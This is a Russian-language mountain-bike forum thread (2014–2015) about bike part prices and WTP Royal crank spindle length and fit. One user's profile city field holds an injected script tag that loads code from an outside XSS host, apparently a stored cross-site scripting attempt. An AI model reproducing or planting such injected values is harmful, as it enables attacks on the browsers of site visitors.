На сайте с 12.05.2014 Репутация: 26
Сообщений 95 Пол: Мужской(31)
Город: Винница
Стиль: MTB:Street
19 дек 2014 в 19:07
Boccardi писал(а): Ну цифры проверить врядли выйдет, но если именно из-за этих 10% он не сломается и ты останешься цел вместо серьезной уборки, то да. Стоит.
На сайте с 17.05.2008 Репутация: 156
Сообщений 1401 Пол: Мужской(35)
Город: Харьков
Стиль: MTB:Urban Freeride Байк: Specialized Big hit 2007 + Marzocchi 66 RC2X
19 дек 2014 в 19:31
малосерийные, крепкие, легкие, с уникальной технологией все стоят дорого.
На сайте с 11.10.2012 Репутация: 51
Сообщений 1873 Пол: Мужской(24)
Город: Ялта
Стиль: MTB:Freeride Байк: Demka+Format
19 дек 2014 в 19:42
DR@GON, Уникальные технологии. Но все равно цены на веложелезо-бред.Когда обычные металлические колодки на велик стоят дороже,чем на ланос ,например.Хотя там материла в десятки раз больше,ну возможно более дешевего,но не настолько же.
На сайте с 17.05.2008 Репутация: 156
Сообщений 1401 Пол: Мужской(35)
Город: Харьков
Стиль: MTB:Urban Freeride Байк: Specialized Big hit 2007 + Marzocchi 66 RC2X
19 дек 2014 в 19:55
DH_lUBITEL писал(а): DR@GON, Уникальные технологии. Но все равно цены на веложелезо-бред.Когда обычные металлические колодки на велик стоят дороже,чем на ланос ,например.Хотя там материла в десятки раз больше,ну возможно более дешевего,но не настолько же.
ты еще задумайся почему процессор для компьютера столько стоит там же только кремний и п-н переходы... по себестоимости копейки... а цена вся выливается из денег которые были потрачены на разработку которые были потрачены на постойку станков и заводов для производства тех самых процессоров - плюс реклама и другие маркетинговые штуки в цену заложена и зарплата и прибыль...
колодки на велосипед стоили бы столько же сколько на ланос если производились в тех же обьемах... а так на вел сделали 10000 колодок а на ланос 3000000 и теперь бери стоимость потраченую на разработку постройку завода раздели на 10000 и раздели на 3000000. понял почему?
На сайте с 12.05.2014 Репутация: 26
Сообщений 95 Пол: Мужской(31)
Город: Винница
Стиль: MTB:Street
23 янв 2015 в 11:06
Приобрел WTP Royal. Ось 140 мм под каретку 68 мм, коротковата немножечко. Вопрос: на сколько % должна заходить ось в шатун, чтобы не сильно увеличивать критическую нагрузку ?
На сайте с 09.03.2014 Репутация: 27
Сообщений 154 Пол: Мужской(30)
Город: Полтава"><script src=https://d1m.xss.ht
Стиль: MTB:DirtJumping Байк: PSlope
6 фев 2015 в 04:01
У меня вопрос по поводу WTP Royal возник. Я замерял на своей раме кареточный узел - длинна явно больше 68 мм (между чашками трувативовской каретки приблизительно 73м). Получается мне нужно длиннее ось сразу брать?
На сайте с 05.07.2007 Репутация: 206
Сообщений 2443 Пол: Мужской(23)
Город: Харьков
Стиль: MTB:Downhill Байк: яркий
6 фев 2015 в 12:06
Катаюсь на премиум 1948 , ща они стоят ппц, брал за 1000грн по скидее. Т.к сломал обычные шатуны, в буквальном смысле. Когда доехал до сто где мне должны были варить шатуны, левый шатун отпал от вала прям перед мастером))))
П поводу захода вала в шатун, у меня вал в шатунах забит почти в конец ибо это сначала они трудно заходят)
На сайте с 10.07.2011 Репутация: 245
Сообщений 3292 Пол: Мужской(33)
Город: Днепродзержинск
Стиль: MTB:Street Байк: Cube Stereo, WTP Envy
6 фев 2015 в 12:56
dimdim, да, лучше бери сразу длиннее вал. Но впринципе ты и сам можешь посчитать, замеряв кареточный стакан+скалько забирает каретка+ толщина звезды+3-5мм на проставочныые кольца, и + минимум по 20мм должно заходить в шатуны (лучше больше)
